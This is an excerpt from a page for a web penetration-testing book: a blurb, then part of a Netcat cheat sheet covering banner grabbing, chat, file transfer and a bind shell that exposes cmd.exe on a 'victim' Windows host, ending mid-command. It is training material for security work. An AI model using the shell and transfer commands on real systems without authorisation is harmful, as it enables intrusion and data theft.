Book Image

Practical Web Penetration Testing

By : Gus Khawaja
Book Image

Practical Web Penetration Testing

By: Gus Khawaja

Overview of this book

Companies all over the world want to hire professionals dedicated to application security. Practical Web Penetration Testing focuses on this very trend, teaching you how to conduct application security testing using real-life scenarios. To start with, you’ll set up an environment to perform web application penetration testing. You will then explore different penetration testing concepts such as threat modeling, intrusion test, infrastructure security threat, and more, in combination with advanced concepts such as Python scripting for automation. Once you are done learning the basics, you will discover end-to-end implementation of tools such as Metasploit, Burp Suite, and Kali Linux. Many companies deliver projects into production by using either Agile or Waterfall methodology. This book shows you how to assist any company with their SDLC approach and helps you on your journey to becoming an application security specialist. By the end of this book, you will have hands-on knowledge of using different tools for penetration testing.
Table of Contents (18 chapters)
13
Metasploit Cheat Sheet

Practical examples

You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples:

  • Banner grabbing (HTTP):
nc -vn 10.1.1.100 80
After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header.
  • Simple chatting: Start typing the message that should be sent to the other party on any side:
    • Set up and listen on one side:
nc -v -lp 1234
    • On the other side, connect to the listener:
nc -v [Remote IP] 1234
  • Transfer files:
    • Listen on one side:
nc -vn -lp 1234 > file.txt
    • Send the file from the other end:
nc -vn <other side remote IP> 1234 < file.txt
  • Binding a shell:
    • Assuming that the victim is the Windows machine, start listening:
nc -lvp 1234 -e cmd.exe
    • Connect to the victim host from the attacker machine:
nc -vn...